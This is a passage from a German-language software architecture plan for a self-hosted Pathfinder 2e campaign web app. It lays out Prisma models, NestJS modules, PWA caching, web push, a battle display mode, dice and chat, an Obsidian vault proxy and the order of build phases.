id String @id @default(uuid())
|
||||
campaignId String @unique
|
||||
transport String // "WEBDAV_PROXY" | "GIT_PULL" | "HTTP_DIRECT"
|
||||
endpointUrl String
|
||||
authSecretRef String? // Referenz auf separates Secret-Storage; nicht plain
|
||||
rootPath String? // Subpfad im Vault
|
||||
lastSyncAt DateTime?
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
}
|
||||
|
||||
model VaultNoteCache {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
path String // relative Note-Path z.B. "Lore/Stadt-Ironvale.md"
|
||||
content String // Markdown
|
||||
contentHash String
|
||||
fetchedAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
@@unique([campaignId, path])
|
||||
@@index([campaignId])
|
||||
}
|
||||
```
|
||||
|
||||
> Hinweis Push-Storage: VAPID-Public/Private liegen in `.env` (`VAPID_PUBLIC`, `VAPID_PRIVATE`, `VAPID_SUBJECT`). Endpoint-Tabelle hält **nur** Subscriptions, keine Schlüssel.
|
||||
|
||||
---
|
||||
|
||||
## 3. Komponenten-Boundaries pro Feature-Bereich
|
||||
|
||||
### 3.1 Level-Up
|
||||
|
||||
**Backend**
|
||||
- `modules/leveling/leveling.module.ts`
|
||||
- `modules/leveling/leveling.controller.ts`
|
||||
- `POST /characters/:id/level-up/start` → erzeugt `LevelUpSession` (state=DRAFT), kopiert Snapshot
|
||||
- `PATCH /characters/:id/level-up/draft` → Wahl im Draft updaten (idempotent, validiert)
|
||||
- `POST /characters/:id/level-up/commit` → Transaktion: Draft anwenden, Stat-Recompute, state=COMMITTED, Gateway-Broadcast `level_up_committed`
|
||||
- `POST /characters/:id/level-up/abort` → state=ABORTED, kein Charakter-Mutation
|
||||
- `GET /characters/:id/level-up/session` → aktiver DRAFT (für Wizard-Resume)
|
||||
- `leveling.service.ts`: PF2e-Regelvalidierung (Boosts alle 5 Levels, Skill-Increases je Klasse, Feat-Prerequisites, Class-Features pro Level), nutzt `FeatsService`.
|
||||
- **Existierender `CharactersService`** bekommt `applyLevelUp(characterId, draft)` als idempotente Transaktion und `recomputeDerivedStats(characterId)` (HP-Max, Save-Boni, AC-Bonus).
|
||||
- **Existierender `CharactersGateway`** bekommt `level_up_committed` als Update-Type (in `CharacterUpdatePayload['type']` ergänzen).
|
||||
|
||||
**Frontend**
|
||||
- `features/leveling/components/level-up-wizard.tsx` (Modal/Dialog mit Schritten: Class Features → Boosts → Class Feat → Skill Increases → General/Skill Feat → Review)
|
||||
- `features/leveling/components/level-up-step-*.tsx` (ein File pro Step)
|
||||
- `features/leveling/hooks/use-level-up-session.ts` (lokaler Hook, lädt/patchet DRAFT, lokaler optimistischer State)
|
||||
- Trigger sitzt im bestehenden `character-sheet-page.tsx` als „Stufe steigen"-Button neben Level-Anzeige.
|
||||
|
||||
**Datenfluss (User klickt „Stufe steigen" → andere Spieler sehen neuen Level):**
|
||||
```
|
||||
[character-sheet-page] "Stufe steigen"
|
||||
└─ POST /characters/:id/level-up/start (LevelingController)
|
||||
└─ LevelUpSession DRAFT erzeugt (LevelingService → Prisma)
|
||||
◀─ Wizard öffnet
|
||||
[Wizard Step] User wählt Boost/Feat
|
||||
└─ PATCH /characters/:id/level-up/draft (validiert, kein Char-Mutate)
|
||||
◀─ aktualisierter Draft zurück
|
||||
[Wizard Review] User klickt „Bestätigen"
|
||||
└─ POST /characters/:id/level-up/commit
|
||||
└─ Transaktion:
|
||||
• LevelingService.commit(draft)
|
||||
• CharactersService.applyLevelUp(...)
|
||||
• CharactersService.recomputeDerivedStats(...)
|
||||
• CharactersGateway.broadcast({type:'level_up_committed', data:{level, hpMax, ...}})
|
||||
◀─ neuer Charakter-State
|
||||
[andere Clients] hören 'level_up_committed' via use-character-socket
|
||||
└─ React Query invalidate(character) + UI Refresh
|
||||
```
|
||||
|
||||
### 3.2 PWA + Service Worker
|
||||
|
||||
**Frontend (zentral, kein eigenes Feature-Modul, aber dedizierte Files)**
|
||||
- Plugin: `vite-plugin-pwa` in `vite.config.ts`
|
||||
- `client/public/manifest.webmanifest` (Name, Icons, theme_color = `#c26dbc`, display=standalone, start_url=`/`)
|
||||
- `client/src/sw/service-worker.ts` (custom SW via Workbox, von Vite gebündelt)
|
||||
- `client/src/shared/hooks/use-pwa-update.ts` (zeigt „Neue Version verfügbar"-Banner)
|
||||
- `client/src/shared/lib/sw-cache-bridge.ts` (Helper, der über `postMessage` mit dem SW redet — Cache invalidieren bei Socket-Events)
|
||||
|
||||
**Caching-Strategien (pro Route):**
|
||||
|
||||
| Route-Pattern | Strategie | Warum |
|
||||
|---|---|---|
|
||||
| `*.js`, `*.css`, `*.png`, `*.svg` (Vite-Assets) | CacheFirst, immutable | Vite hash-named, sicher cachebar |
|
||||
| `GET /api/equipment*` | StaleWhileRevalidate | 5.482 Items, ändern sich quasi nie, schneller Listen-View |
|
||||
| `GET /api/feats*` | StaleWhileRevalidate | identisch |
|
||||
| `GET /api/campaigns/:id/characters/:id` | NetworkFirst mit 3s-Timeout, fallback Cache | Live-Daten bevorzugt, Offline-Read als Sicherheitsnetz |
|
||||
| `GET /api/campaigns/:id/characters/:id/feats` | NetworkFirst | s.o. |
|
||||
| `GET /api/translations*` | StaleWhileRevalidate | gecached, aber refresh on background |
|
||||
| `GET /api/vault/*` (Markdown) | StaleWhileRevalidate | Vault-Inhalt darf leicht stale sein |
|
||||
| `POST/PATCH/PUT/DELETE *` | NetworkOnly | Mutationen niemals cachen |
|
||||
| `POST /api/auth/*` | NetworkOnly | Auth nie cachen |
|
||||
| `*/socket.io/*` | NetworkOnly (vom SW ausgenommen) | WebSocket geht nicht durch SW-Caching |
|
||||
|
||||
**JWT-Header-Interaktion:** Token kommt aus localStorage/sessionStorage und wird vom API-Client (`shared/lib/api.ts`) als Authorization-Header gesetzt. Der SW darf die Authorization-Header nicht entfernen — Workbox passiert sie standardmäßig durch. **Wichtig**: Antworten mit `Authorization`-Header werden im Cache gespeichert; das ist akzeptabel, weil der SW-Cache pro Browser-Profil ist und der App ohnehin Single-User pro Browser ist (Family-Gaming-Use-Case). Falls mehrere User denselben Browser teilen, muss der Cache bei Login-Wechsel geleert werden (Hook in `useAuthStore.logout()`).
|
||||
|
||||
**Manifest-Hosting:** `client/public/manifest.webmanifest` wird von Vite mit-deployed; in `index.html` als `<link rel="manifest" href="/manifest.webmanifest">`. Icons in `client/public/icons/pwa-*.png` (192, 512, maskable).
|
||||
|
||||
### 3.3 Web Push
|
||||
|
||||
**Backend**
|
||||
- `modules/push/push.module.ts`
|
||||
- `push.controller.ts`:
|
||||
- `POST /push/subscribe` (Body: endpoint, keys.p256dh, keys.auth, userAgent) → upsert auf `endpoint`-unique
|
||||
- `DELETE /push/subscribe/:id` → User entfernt eigenes Device
|
||||
- `GET /push/vapid-public-key` (public, oder beim ersten Bootstrap-Call mitgeben)
|
||||
- `push.service.ts`:
|
||||
- `sendToUser(userId, payload)`
|
||||
- `sendToCampaign(campaignId, role?, payload)` — joined `CampaignMember` + ggf. role-filter
|
||||
- `sendToBattleSession(sessionId, role?, payload)`
|
||||
- **Lifecycle**: Bei Send-Fehler `410 Gone` oder `404` → Subscription löschen. Bei `429` exponential backoff. Bei Erfolg `lastSeenAt = now()`.
|
||||
- TTL pro Push-Typ: GM-Ping = 30s (kurz, soll nicht später schlummernd ankommen), System-Notification = 24h.
|
||||
|
||||
**Frontend**
|
||||
- `features/push/components/notification-permission-prompt.tsx` — wird beim ersten Visit nach Login gezeigt, wenn `Notification.permission === 'default'`.
|
||||
- `features/push/hooks/use-push-subscription.ts` — registriert SW, holt VAPID-Key, abonniert, sendet an `POST /push/subscribe`. Hook idempotent — kein Doppel-Subscribe.
|
||||
|
||||
**GM-Ping-Datenfluss:**
|
||||
```
|
||||
[GM klickt "Ping an alle"]
|
||||
└─ POST /push/ping body:{campaignId, role:'PLAYER', message}
|
||||
└─ PushService.sendToCampaign(...)
|
||||
└─ webPush.sendNotification(sub, payload) je Subscription
|
||||
[Browser] zeigt Notification, klick → öffnet App auf /campaigns/:id
|
||||
```
|
||||
|
||||
### 3.4 Multi-Screen-Battle (GM-Laptop + Tisch-Display)
|
||||
|
||||
**Empfehlung: Option (b) — separate Display-Route + serverseitiger Read-Only-Filter.**
|
||||
|
||||
Begründung gegen die Alternativen:
|
||||
- (a) Same-component mit `mode`-Prop ist anfällig: GM-only-Daten landen im React-Tree des Display-Clients. Ein neugieriger Spieler mit Browser-Devtools könnte sie sehen. **Sicherheit fail.**
|
||||
- (c) BroadcastChannel funktioniert nur same-origin/same-browser-profile. Sobald das Tisch-Display ein eigener Browser/Pi ist (was real ist), bricht das. Plus: kein Persistenz-Vorteil gegenüber WebSocket. **Skaliert nicht.**
|
||||
- (b) Eigene Route `/campaigns/:id/battle/display` mit eigenem Bundle-Subset, Server-API liefert nur reduziertes DTO. Display-Client darf sich mit Auth-Token verbinden, aber Server filtert GM-only-Felder weg (z.B. NPC-statBlock-Klartext, GM-Notizen, Effekt-Quellen). Damit ist Display-Mode auch für Spieler-Devices sicher zugänglich, falls jemand „mein Handy soll auch nur die Map zeigen" nutzt.
|
||||
|
||||
**Backend**
|
||||
- `BattleController`: neuer Endpoint `GET /battles/:id/display-view` → DTO ohne GM-Felder.
|
||||
- `BattleGateway`: bei `joinBattle`-Event akzeptiert `viewerMode: 'GM' | 'DISPLAY'`. Server speichert das pro Socket. Bei Broadcasts unterscheidet Gateway zwei Sub-Rooms: `battle:<id>:gm` und `battle:<id>:display`. Kritische Events (z.B. `gm_note_added`) gehen nur in den GM-Sub-Room.
|
||||
|
||||
**Frontend**
|
||||
- `features/battle/components/battle-display-page.tsx` — eigene Route, kein Sidebar, kein Inventar-Panel, fullscreen Map, große Initiative-Liste, Token-Status nur Public-Felder.
|
||||
- `features/battle/components/battle-page.tsx` (existiert) — bekommt Toolbar-Erweiterungen (Effects-Picker, Initiative-Sortier-UI, „Display-Tab in neuem Fenster öffnen"-Button mit deep-link zu `/campaigns/:id/battle/display?session=X`).
|
||||
- `features/battle/components/initiative-tracker.tsx` (neu) — sortierte Liste, wer ist dran (highlighted), prev/next-Buttons (GM-only).
|
||||
- `features/battle/components/effect-pill.tsx` (neu) — gerendert auf Token + in Display-Liste.
|
||||
- `features/battle/components/effect-add-modal.tsx` (neu, GM-only).
|
||||
|
||||
**Route-Tabelle (Erweiterung von App.tsx):**
|
||||
```
|
||||
+ /campaigns/:id/battle/display → BattleDisplayPage (eigener Layout-Mode, kein Navbar)
|
||||
+ /campaigns/:id/dice → DiceLogPage (oder als Sidebar im Battle/Character-View)
|
||||
+ /campaigns/:id/chat → ChatPage (oder Slide-in-Panel)
|
||||
+ /campaigns/:id/vault → VaultBrowserPage
|
||||
+ /campaigns/:id/vault/* → VaultNotePage (Wildcard-Pfad)
|
||||
```
|
||||
|
||||
### 3.5 Würfeln & Chat
|
||||
|
||||
**Empfehlung: zwei Tabellen + zwei Gateways oder ein gemeinsamer Gateway. Polymorphes Schema (`MessageType` mit verschiedenen Spalten in einem Table) **abgelehnt** — getrennte Tabellen bleiben sauberer (DiceRoll hat strukturierte Daten, ChatMessage ist Text+Embed).**
|
||||
|
||||
**Gateway-Frage:**
|
||||
- Ein **eigener `DiceGateway` (Namespace `/dice`)** und **eigener `ChatGateway` (Namespace `/chat`)** — konsistent mit der Bestands-Architektur (jedes Feature eigener Namespace).
|
||||
- Nicht in `CharactersGateway` einbauen: Character-Updates sind charakter-bezogen (Room = characterId). Chat/Dice sind campaign- und session-bezogen (Room = campaignId oder battleSessionId). Verschiedene Rooms → verschiedene Gateways.
|
||||
|
||||
**Datenmodell-Wahl: getrennte Tabellen, ChatMessage hat `embedRollId` als FK auf DiceRoll.** Vorteile gegenüber polymorphem Schema:
|
||||
- DiceRoll ist append-only, hochfrequent, klar typisiert (`expression`, `total`, `isCrit`).
|
||||
- ChatMessage ist append-only, niederfrequent, Markdown-Body.
|
||||
- Pagination ist pro Tabelle eigenständig (DiceLog vs ChatLog können separat gerendert werden).
|
||||
- Einbettung über FK ist sauber: Chat-Renderer joint optional `embedRoll` und rendert eine Roll-Card.
|
||||
|
||||
**Pagination-Pattern:** Cursor-basiert über `createdAt` + `id` (deterministisch). Endpoint `GET /campaigns/:id/dice?cursor=...&limit=50`. Default 50 letzte Einträge. WebSocket pusht neue Einträge live, Pagination lädt historisch.
|
||||
|
||||
**Frontend**
|
||||
- `features/dice/components/dice-roller.tsx` — Eingabefeld + Quick-Buttons (d20, d4, d6, d8, d10, d12, d100).
|
||||
- `features/dice/components/dice-log.tsx` — Liste der Rolls, virtualisiert für Scroll.
|
||||
- `features/dice/utils/parse-pf2e-notation.ts` — Pure Function: `"1d20+7"` → strukturiert (Anzahl, Sides, Mod). Krit/Fumble erst auf Server berechnet (single source of truth).
|
||||
- `features/chat/components/chat-panel.tsx` — Slide-in / Sidebar, Eingabe + Liste.
|
||||
- `features/chat/components/message-card.tsx` — rendert Text + optionales `embedRoll`.
|
||||
- `shared/hooks/use-dice-socket.ts`, `shared/hooks/use-chat-socket.ts` — analog zu `use-character-socket.ts`.
|
||||
|
||||
### 3.6 Obsidian-Vault (Read-Only)
|
||||
|
||||
**Empfehlung: Transport-Option 1 (WebDAV-Proxy via NestJS) als Default.** Begründung im Vergleich:
|
||||
|
||||
| Option | Browser-Sec | Server-Last | Setup-Komplexität | Auth-Modell | Verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| WebDAV-Proxy via NestJS | Vault nie direkt im Browser, JWT vor allem | Mittel (Stream-Proxy) | Niedrig (libs vorhanden) | Eigener JWT, Vault-Creds in `.env` | **Default** |
|
||||
| Direkter HTTP+CORS | Vault muss CORS-konfigurierbar sein, Auth-Header doppelt | Niedrig | Hoch (CORS, Vault-Auth-Header in Browser) | Vault-Auth direkt im Browser → Token-Leak-Risiko | Verworfen |
|
||||
| Git-Pull periodisch | Vault muss Git-Repo sein | Niedrig nach Pull, hoch bei Pull | Mittel (cron, conflict-handling) | SSH-Key am Server | Optional, wenn Vault Git-basiert |
|
||||
| Snapshot-Upload (Zip) | Sehr sicher | Niedrig | Mittel (User-Workflow) | Kein Vault-Zugriff nötig | Optional, wenn kein Server beim User |
|
||||
|
||||
**Self-hosted Charakter:** User hat eigenen Server. WebDAV-Proxy ist ideal — Vault liegt auf dem User-Server (z.B. Synology, Nextcloud, eigener nginx mit `mod_dav`), NestJS verbindet sich mit Service-Account, Browser sieht nur saubere Dimension47-API. Gleiches Sec-Modell wie Equipment-API.
|
||||
|
||||
**Backend**
|
||||
- `VaultService.list(campaignId, dirPath)` → ruft WebDAV `PROPFIND`, gibt Files+Subdirs zurück.
|
||||
- `VaultService.read(campaignId, filePath)` → ruft WebDAV `GET`, parst Markdown, resolviert `[[Wikilinks]]` per Index-Lookup, gibt `{ content, frontmatter, links: [{name, path?}] }` zurück. Cached in `VaultNoteCache`.
|
||||
- `VaultService.image(campaignId, imagePath)` → streamt Bild über NestJS-Response.
|
||||
- `GET /vault/:campaignId/list?path=...`, `GET /vault/:campaignId/note?path=...`, `GET /vault/:campaignId/image?path=...`, `GET /vault/:campaignId/search?q=...`.
|
||||
|
||||
**Frontend**
|
||||
- `features/vault/components/vault-browser-page.tsx` — Folder-Tree links, Note-Reader rechts.
|
||||
- `features/vault/components/note-renderer.tsx` — `react-markdown` + `remark-gfm` + Custom-Plugin für `[[Wikilink]]` (klickbar zu interner Vault-Route).
|
||||
- `features/vault/utils/wikilink-plugin.ts` — Regex-basierter Remark-Plugin.
|
||||
- `features/vault/hooks/use-vault-note.ts` — React Query, kombiniert mit SW-Cache (StaleWhileRevalidate).
|
||||
|
||||
### 3.7 GM-Live-Tools
|
||||
|
||||
Größtenteils **keine neuen Module**. Existierende `CharactersService.updateHp/addCondition/...` haben bereits GM-Bypass für Owner-Check (`checkCharacterAccess` lässt GM passieren). Was fehlt ist UI:
|
||||
|
||||
**Frontend**
|
||||
- `features/campaigns/components/gm-control-panel.tsx` — Sidebar im `campaign-detail-page.tsx`, listet alle Spieler-Charaktere mit Quick-Actions (HP+/-, Condition setzen, Geld geben, Push-Ping senden).
|
||||
- Re-use existierender Modals: `add-condition-modal`, `add-item-modal`, `hp-control` mit `gmMode`-Prop (zeigt Charakter-Selector).
|
||||
|
||||
**Backend**
|
||||
- `PushService.sendToUser(userId, {type:'GM_PING', message})` für gezielte Pings — bereits in PushModule.
|
||||
- Keine neuen Endpoints — bestehende Character-Endpoints reichen, da GM bereits berechtigt ist.
|
||||
|
||||
---
|
||||
|
||||
## 4. Datenfluss: Übergreifende Patterns
|
||||
|
||||
### 4.1 PWA-Cache-Invalidation bei Socket-Push
|
||||
|
||||
Wenn der SW `/api/.../characters/:id` cached und ein HP-Update via WebSocket reinkommt, ist der Cache veraltet. Lösung **kombiniert**:
|
||||
|
||||
1. **Primärer Pfad — Reaktiv via postMessage:** Beim Empfang eines `character_update`-Events ruft `use-character-socket.ts` einen Helper `invalidateCacheForCharacter(characterId)`, der per `navigator.serviceWorker.controller.postMessage({type:'INVALIDATE', urls:[...]})` an den SW signalisiert. SW löscht die betroffenen Cache-Einträge.
|
||||
|
||||
2. **Sekundärer Pfad — NetworkFirst-Strategie für Live-Daten:** Charakter-Endpoints nutzen NetworkFirst statt StaleWhileRevalidate. Online → frische Daten, Offline → Cache-Fallback. Damit ist auch ohne postMessage-Sync das schlimmste, was passiert, ein 3-Sekunden-Timeout, dann Cache.
|
||||
|
||||
3. **Statische Daten** (Equipment, Feats) bleiben StaleWhileRevalidate — die ändern sich nur bei DB-Reseed, nicht zur Laufzeit.
|
||||
|
||||
**Anti-Pattern explizit ablehnen:** Cache-Bypass „wenn WebSocket connected" zu komplex und race-condition-anfällig. NetworkFirst + postMessage-Invalidation reicht.
|
||||
|
||||
### 4.2 Level-Up Datenfluss (vollständig)
|
||||
|
||||
Bereits in 3.1 oben. Schlüsselpunkte:
|
||||
- DRAFT-State macht Undo trivial (einfach Session löschen, Charakter unverändert).
|
||||
- Commit ist eine einzige Prisma-Transaktion: `applyLevelUp` + `recomputeDerivedStats` + `LevelUpSession.state = COMMITTED` + Gateway-Broadcast.
|
||||
- Snapshot-Before in `LevelUpSession.snapshotBefore` erlaubt theoretisch nachträgliches Undo eines committed Level-Ups (out of scope für jetzt, aber Daten sind da).
|
||||
|
||||
### 4.3 Multi-Screen-Battle Datenfluss
|
||||
|
||||
```
|
||||
[GM-Client] [Display-Client]
|
||||
Socket.io connect Socket.io connect
|
||||
emit 'joinBattle' {id, viewerMode:'GM'} emit 'joinBattle' {id, viewerMode:'DISPLAY'}
|
||||
→ joins room battle:<id>:gm → joins room battle:<id>:display
|
||||
|
||||
[GM klickt "Token bewegen"]
|
||||
PATCH /battles/:id/tokens/:t
|
||||
→ BattleService.moveToken
|
||||
→ BattleGateway.broadcast(sessionId, 'token_moved', ...)
|
||||
→ emit to room battle:<id>:gm ← GM-Client sieht Update
|
||||
→ emit to room battle:<id>:display ← Display-Client sieht Update
|
||||
|
||||
[GM klickt "GM-Notiz hinzufügen" (kein Display-Event)]
|
||||
PATCH /battles/:id/gm-note
|
||||
→ BattleGateway.broadcast(sessionId, 'gm_note_added', ..., onlyRole:'GM')
|
||||
→ emit nur an battle:<id>:gm
|
||||
```
|
||||
|
||||
### 4.4 Dice + Chat Datenfluss
|
||||
|
||||
```
|
||||
[Spieler tippt "1d20+7"]
|
||||
POST /campaigns/:id/dice body:{expression, characterId, label}
|
||||
→ DiceService.roll(...) ← würfelt serverseitig (kein Client-Cheat)
|
||||
→ Prisma DiceRoll insert
|
||||
→ DiceGateway.broadcast(campaignId, 'roll', diceRoll)
|
||||
[alle Clients in Room campaign:<id>]
|
||||
use-dice-socket.ts: onRoll(diceRoll)
|
||||
→ React Query: queryClient.setQueryData(['diceLog', campaignId], (old) => [diceRoll, ...old])
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Patterns to Follow
|
||||
|
||||
### Pattern 1: Neues Feature = neues Modul + neues Feature-Dir
|
||||
**Wann:** Immer für eigenständige Domänen (Push, Dice, Chat, Vault, Leveling).
|
||||
**Beispiel:**
|
||||
```ts
|
||||
// server/src/modules/dice/dice.module.ts
|
||||
@Module({
|
||||
imports: [PrismaModule, AuthModule, CampaignsModule],
|
||||
controllers: [DiceController],
|
||||
providers: [DiceService, DiceGateway],
|
||||
exports: [DiceService],
|
||||
})
|
||||
export class DiceModule {}
|
||||
```
|
||||
|
||||
### Pattern 2: Gateway-Authentifizierung (existiert, weiter nutzen)
|
||||
**Wann:** Jeder neue Gateway.
|
||||
**Beispiel:** Kopiervorlage `characters.gateway.ts` → JWT in `handshake.auth.token`, User-Lookup, Disconnect bei Fail. Für Battle-Display: zusätzlich `viewerMode` aus `handshake.auth` lesen und Sub-Room zuweisen.
|
||||
|
||||
### Pattern 3: Service-Method = Access-Check + Mutation + Broadcast
|
||||
**Wann:** Jede Mutation.
|
||||
**Beispiel:** `CharactersService.updateHp` Reihenfolge:
|
||||
1. `checkCampaignAccess(userId, campaignId)`
|
||||
2. `checkCharacterAccess(userId, characterId)`
|
||||
3. Prisma-Update
|
||||
4. `gateway.broadcast(...)`
|
||||
|
||||
### Pattern 4: WebSocket-Hook mit Singleton + Ref-Counting
|
||||
**Wann:** Jeder neue Frontend-WebSocket-Konsument.
|
||||
**Beispiel:** `use-dice-socket.ts` folgt Pattern aus `use-character-socket.ts` — globaler Socket pro Namespace, `subscriberCount` für Cleanup.
|
||||
|
||||
### Pattern 5: DTO-Validation mit class-validator
|
||||
**Wann:** Jeder neue Endpoint.
|
||||
**Beispiel:**
|
||||
```ts
|
||||
export class StartLevelUpDto {
|
||||
@IsString() @IsNotEmpty() characterId: string;
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 6: Service-Worker-Update via postMessage
|
||||
**Wann:** Wenn Live-Daten den Cache invalidieren sollen.
|
||||
**Beispiel:**
|
||||
```ts
|
||||
// shared/lib/sw-cache-bridge.ts
|
||||
export function invalidateSwCache(urls: string[]) {
|
||||
navigator.serviceWorker?.controller?.postMessage({type:'INVALIDATE', urls});
|
||||
}
|
||||
// In SW:
|
||||
self.addEventListener('message', (e) => {
|
||||
if (e.data?.type === 'INVALIDATE') {
|
||||
e.data.urls.forEach(url => caches.open('api-cache').then(c => c.delete(url)));
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Anti-Patterns to Avoid
|
||||
|
||||
### Anti-Pattern 1: Polymorphic-Table für Dice+Chat
|
||||
**Was:** Eine `Message`-Tabelle mit `type: TEXT|ROLL|SYSTEM` und 20 nullable Spalten.
|
||||
**Warum schlecht:** Spalten-Sparsity, jede neue MessageType-Variante explodiert das Schema, Pagination wird umständlich (DiceLog will nur Rolls, joint trotzdem alles), keine sauberen FK-Constraints.
|
||||
**Stattdessen:** Zwei Tabellen `DiceRoll` + `ChatMessage`, FK `embedRollId` für Embeds.
|
||||
|
||||
### Anti-Pattern 2: Display-Mode als React-Prop am gleichen Komponentenbaum
|
||||
**Was:** `<BattlePage mode="display" />` versteckt GM-Controls per CSS.
|
||||
**Warum schlecht:** GM-only-Daten landen via React Query im Display-Client. Devtools zeigen sie. Sicherheits-Leak.
|
||||
**Stattdessen:** Eigene Route + serverseitig gefiltertes DTO + Sub-Rooms im Gateway.
|
||||
|
||||
### Anti-Pattern 3: Service-Worker cached Mutationen
|
||||
**Was:** SW cached POST/PATCH-Responses oder ersetzt fehlgeschlagene Mutations durch optimistic offline-queue.
|
||||
**Warum schlecht:** PROJECT.md definiert „Offline-Bearbeiten ist explizit raus". Konflikt-Logik wäre teuer, Spielsessions sind online.
|
||||
**Stattdessen:** SW NetworkOnly für alle Mutationen. Offline-Mode = nur Lesen.
|
||||
|
||||
### Anti-Pattern 4: Roll-Berechnung im Client
|
||||
**Was:** Frontend würfelt `Math.random()` und schickt Ergebnis an Server.
|
||||
**Warum schlecht:** Spieler kann lokal manipulieren. PF2e-Werte (Crits, Persistent Damage) müssen autoritativ sein.
|
||||
**Stattdessen:** Server-side Roll. Client schickt nur `expression` + Kontext, Server würfelt + persistiert + broadcastet.
|
||||
|
||||
### Anti-Pattern 5: Vault-Credentials im Browser
|
||||
**Was:** WebDAV-User/Password im React-Code, Browser ruft Vault direkt.
|
||||
**Warum schlecht:** Token-Leak in Browser-Devtools, CORS-Konfig am Vault, Rotation unmöglich.
|
||||
**Stattdessen:** Vault-Creds in `.env` am NestJS-Server, Browser spricht nur via Dimension47-JWT mit `/vault/*`-Endpoints.
|
||||
|
||||
### Anti-Pattern 6: `db push` bei Schema-Änderung
|
||||
**Was:** Schnell-Fix bei Schema-Änderung mit `prisma db push`.
|
||||
**Warum schlecht:** Verstößt gegen CLAUDE.md, keine Versionierung, kann nicht ausgerollt werden.
|
||||
**Stattdessen:** Immer `prisma migrate dev --name <descriptive>`.
|
||||
|
||||
### Anti-Pattern 7: GM-Ping ohne Push-Subscription
|
||||
**Was:** GM-Ping nur als Toast im aufgemachten Browser-Tab.
|
||||
**Warum schlecht:** Spieler sieht es nicht, wenn Tab nicht aktiv ist. Use-Case ist gerade, dass Spieler aufmerksam wird.
|
||||
**Stattdessen:** Push-Notification via Service-Worker. Toast als zusätzlicher Inline-Hinweis, nicht als Ersatz.
|
||||
|
||||
---
|
||||
|
||||
## 7. Build Order / Dependencies (kritisch für Roadmap)
|
||||
|
||||
**Empfohlene Phasen-Reihenfolge** (begründet, nicht beliebig):
|
||||
|
||||
```
|
||||
Phase A: Level-Up
|
||||
├─ keine externen Abhängigkeiten
|
||||
├─ erweitert nur CharactersService + CharactersGateway (Bestand)
|
||||
├─ neues Modul LevelingModule, neue Migration LevelUpSession
|
||||
└─ kein PWA/Push nötig
|
||||
──> liefert: erstes komplettes neues Feature, validiert das Pattern „Bestand erweitern + neues Modul"
|
||||
|
||||
Phase B: PWA Foundation (ohne Push)
|
||||
├─ vite-plugin-pwa, manifest, service-worker, install-prompt
|
||||
├─ Caching-Strategien für existierende Endpoints
|
||||
├─ keine Backend-Änderungen
|
||||
└─ blockiert: Push (braucht SW), Vault-Offline-Cache (braucht SW)
|
||||
──> liefert: installierbare App, Offline-Read
|
||||
|
||||
Phase C: Web Push
|
||||
├─ braucht Phase B (Service-Worker existiert)
|
||||
├─ neues Modul PushModule, neue Migration PushSubscription
|
||||
├─ Permission-Prompt im Frontend
|
||||
└─ blockiert: GM-Ping in GM-Live-Tools, Battle-Turn-Alert
|
||||
──> liefert: Notification-Pfad steht
|
||||
|
||||
Phase D: Dice + Chat (parallel zu C möglich, aber nach B)
|
||||
├─ braucht keine Push (Toast für Inline-Anzeige reicht intern)
|
||||
├─ neue Module DiceModule, ChatModule, neue Migration add_dice_and_chat
|
||||
├─ neue Gateways /dice, /chat
|
||||
├─ neue UI-Panels
|
||||
└─ blockiert: Battle-Turn-Alert (kombiniert Dice mit Battle-Events)
|
||||
──> liefert: In-App-Würfel + Chat überall
|
||||
|
||||
Phase E: Battle-Ausbau (Display-Mode, Initiative-Tracker, Effekte)
|
||||
├─ braucht keine Push, aber profitiert von Phase D (Dice-Anbindung in Initiative)
|
||||
├─ erweitert BattleGateway um neue Events
|
||||
├─ neue Route /battle/:id/display, neuer DTO-Filter
|
||||
├─ neue Migration add_battle_effects + turnTokenId
|
||||
└─ blockiert: nichts
|
||||
──> liefert: zwei sichere Sichten auf den Battle, vollständiger Initiative-Flow
|
||||
|
||||
Phase F: GM-Live-Tools
|
||||
├─ braucht Phase C (Push für GM-Ping) + Phase D (Chat für gezielte Nachrichten)
|
||||
├─ kein neues Backend-Modul, kein neues Schema
|
||||
├─ neue UI: gm-control-panel, GM-Mode in bestehenden Modals
|
||||
└─ blockiert: nichts
|
||||
──> liefert: GM hat zentrales Cockpit
|
||||
|
||||
Phase G: Obsidian-Vault
|
||||
├─ braucht Phase B (SW für Offline-Cache der Notes)
|
||||
├─ neues Modul VaultModule, neue Migration add_vault_config + VaultNoteCache
|
||||
├─ neue Routen + neuer Frontend-Bereich
|
||||
├─ unabhängig vom Rest
|
||||
└─ blockiert: nichts
|
||||
──> liefert: Read-Only Vault im Browser
|
||||
```
|
||||
|
||||
**Dependency-Graph:**
|
||||
```
|
||||
A (Level-Up) ──── unabhängig
|
||||
B (PWA) ──── unabhängig ─┐
|
||||
C (Push) ──── braucht B │
|
||||
D (Dice/Chat) ──── unabhängig ├── nichts blockiert E zwingend, aber D hilft Initiative
|
||||
E (Battle-Ausbau) ──── (nutzt D opt) │
|
||||
F (GM-Live-Tools) ──── braucht C, D ─┘
|
||||
G (Vault) ──── braucht B
|
||||
```
|
||||
|
||||
**Anti-Reihenfolge (zu vermeiden):**
|
||||
- Push vor PWA → ohne SW kein Push, Hängepartie.
|
||||
- GM-Live-Tools vor Push/Chat → halbe Lösung, GM-Ping fehlt.
|
||||
- Battle-Display vor Dice → User-Test zeigt: ohne sichtbare Initiative-Rolls fehlt Wert.
|
||||
|
||||
---
|
||||
|
||||
## 8. Integration mit Bestand: Was wird wo angefasst
|
||||
|
||||
### Migration-Liste (in der Reihenfolge unten ausführen)
|
||||
|
||||
| # | Migration | Phase | Modelle |
|
||||
|---|---|---|---|
|
||||
| 1 | `add_level_up_sessions` | A | LevelUpSession |
|
||||
| 2 | `add_push_subscriptions` | C | PushSubscription |
|
||||
| 3 | `add_dice_and_chat` | D | DiceRoll, ChatMessage |
|
||||
| 4 | `add_battle_effects_and_turn_pointer` | E | BattleEffect, BattleSession.turnTokenId |
|
||||
| 5 | `add_vault_config` | G | VaultConfig, VaultNoteCache |
|
||||
|
||||
### Bestandsdateien, die geändert werden (nicht neu)
|
||||
|
||||
| Datei | Phase | Änderung |
|
||||
|---|---|---|
